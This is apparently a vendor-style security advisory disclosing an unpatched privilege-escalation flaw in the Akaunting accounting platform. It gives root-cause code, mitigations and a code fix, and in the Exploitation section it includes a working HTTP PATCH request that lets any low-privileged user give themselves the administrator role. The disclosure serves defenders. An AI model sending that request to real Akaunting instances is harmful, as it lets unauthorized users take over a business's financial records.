Voke Cyber Security Advisory

CVE-2026-16772: Privilege Escalation to Admin in Akaunting via Self-Service Profile Update

Louis Sanchez Published August 14, 2026 8 min read
CVECVE-2026-16772
CERT/CCVU#737420
SeverityHigh  CVSS v3.1 base score 8.8
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
WeaknessesCWE-862 — Missing Authorization • CWE-269 — Improper Privilege Management
ProductAkaunting (open-source accounting and invoicing platform)
AffectedAkaunting ≤ 3.1.21
Fixed inNo fix available  Unpatched at time of publication
Reported byLouis Sanchez — Voke Cyber
CoordinationReported to the vendor 2026-05-20; CERT/CC coordinated (VU#737420) after no response.

No patch available

At the time of publication there is no fixed release. Operators of self-hosted Akaunting should apply the interim mitigations below and review which accounts currently hold the administrator role. Treat any account on the instance with the default self-service profile permission as able to promote itself to full administrator.

Summary

Akaunting contains a privilege-escalation flaw that lets any low-privileged user promote themselves to full administrator by editing their own profile. When a user saves their profile, the update job reads the list of roles from the submitted form and applies it directly, without ever checking whether that user is allowed to assign roles. A user who holds only the ordinary "update your own profile" permission — which the seeded manager and accountant roles both carry — can add the administrator role to their own account and gain complete control of the installation. There is no exploit or trick involved: the attacker submits their own profile form with an extra role value, and the server obediently makes them an admin.

Background: what Akaunting is and why the blast radius matters

Akaunting is a popular open-source accounting and invoicing platform used by small businesses to manage their finances, often with several staff members who each hold a limited role such as employee, accountant, or manager. The permission system exists precisely so that a limited user cannot do administrator-level things.

Akaunting holds a company's financial records: invoices, bills, customer and vendor details, bank and payment information, and reports. Full administrator access to that data means an attacker can read everything, alter or delete financial records, create and pay bills, manage users, and change company settings.

The important detail is who can do this. It is not an outside attacker and not an existing admin. It is any account with the most basic self-service permission, which almost every user in an Akaunting company has by default. In practice that means any employee, contractor, or limited accountant given a login can quietly make themselves the owner of the whole company's books.

Root cause: a role list applied without an authorization check

When a user updates their own profile, Akaunting dispatches an update job that saves the submitted fields. Among those fields is the set of roles assigned to the user, and the job applies them with a single unconditional call that synchronizes the user's roles to exactly what the form contained.

In app/Jobs/Auth/UpdateUser.php, the relevant part of handle() is:

if ($this->request->has('roles')) {
    $this->model->roles()->sync($this->request->get('roles'));
}

The problem is that this role synchronization happens with no authorization check. The job's own authorize() method only blocks a user from disabling themselves and an orphan-company edge case. It never asks whether the person making the change is allowed to manage roles. It simply trusts the role list in the request.

The web controller that dispatches this job, app/Http/Controllers/Auth/Users.php, explicitly permits a user to update their own record:

$user = user_model_class()::find($user_id);

if ((user()->cannot('update-auth-users') && ($user->id != user()->id)) || empty($user)) {
    abort(403);
}

A user editing their own record passes through the $user->id == user()->id branch. The action itself is reachable by anyone holding the default update-auth-profile permission, which the seeded manager and accountant roles both carry. So a limited user can include the administrator role ID in the profile-update request and have it applied to their own account.

The boundary of this issue

It is worth being precise about the scope, because it is narrower than it first appears. The JSON API endpoints that manage users are correctly permission-gated — the API user controller inherits update-auth-users and delete-auth-users middleware from its base controller — and are not affected. The flaw is specifically in the web self-update path, where the role assignment is trusted without a check. A broader cross-tenant variant through the API was investigated and ruled out for exactly this reason. This advisory is scoped to the confirmed web self-update privilege escalation.

Exploitation

Prerequisite: any authenticated Akaunting account holding the default update-auth-profile permission (the standard self-service permission). The seeded manager and accountant roles both have it.

The user opens their own profile edit page and submits it with the administrator role added to the roles field. After logging in and taking a CSRF token from any page:

POST /1/auth/profile/42 HTTP/1.1
Host: <akaunting-host>
Cookie: <session>
X-CSRF-TOKEN: <token>
Content-Type: application/x-www-form-urlencoded

_method=PATCH&name=Mallory&email=mallory@example.invalid&landing_page=/dashboard&roles%5B%5D=1

Here 42 is the attacker's own user ID and role ID 1 is the seeded admin role. The server returns 200, the user's role membership is replaced with the administrator role, and reloading any page shows full administrative access: user management, install and updates, module settings, and so on. From that point the user has full administrative control of the company.

No chaining, timing, or interaction from anyone else is required.

Impact

A low-privileged user gains full administrator privileges over the Akaunting installation, and through that:

CVSS vector rationale

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — base score 8.8

Remediation and interim mitigations

Upgrade to a fixed Akaunting release once available, and track the vendor advisory for the patched version. Until a fix ships:

  1. Review administrator membership. Audit which accounts currently hold the administrator role and remove any that should not.
  2. Watch for unexpected role changes. Alert on any profile update that adds a role, particularly the admin role, to an account.
  3. Limit who is given accounts. Every login on the instance is a potential administrator until this is fixed, so keep the account list as small as the business allows.

The fix

The correct code-level fix is to stop trusting the submitted role list on the self-update path. Role assignment must be gated by an explicit authorization check so that a user cannot change their own roles unless they hold the permission to manage users:

if (user()?->can('update-auth-users')) {
    if ($this->request->has('roles')) {
        $this->model->roles()->sync($this->request->get('roles'));
    }
    if ($this->request->has('permissions')) {
        $this->model->permissions()->sync($this->request->get('permissions'));
    }
    // keep the existing companies sync behind the same gate
}

The rule is simple: the permission to change your own name and email is not the permission to change your own roles. The self-update path conflated the two, and separating them closes the hole.

Disclosure timeline

References

Found and reported by Louis Sanchez, Founder & Principal Security Consultant at Voke Cyber (OSCP, OSWA, CISSP, CCSK). Prior advisories: CVE-2026-17613 (Penpot), CVE-2026-16751 (Ente), CVE-2026-16624 (Cal.com), CVE-2026-15630 (Casdoor), CVE-2026-39878 (Chamilo LMS), CVE-2026-48742 (Coolify), CVE-2026-35198 (HeyForm), CVE-2026-48507 (Snipe-IT), and CVE-2026-42318 (GLPI).

We find the bugs tools miss

A profile form that quietly accepts a roles field does not show up in a dependency scan. It surfaces when someone reads the update job and asks which of these submitted fields anyone actually checked the caller was allowed to set. That is how we approach web application and API testing for clients across the Charlotte, NC area and nationwide.

Get a Quote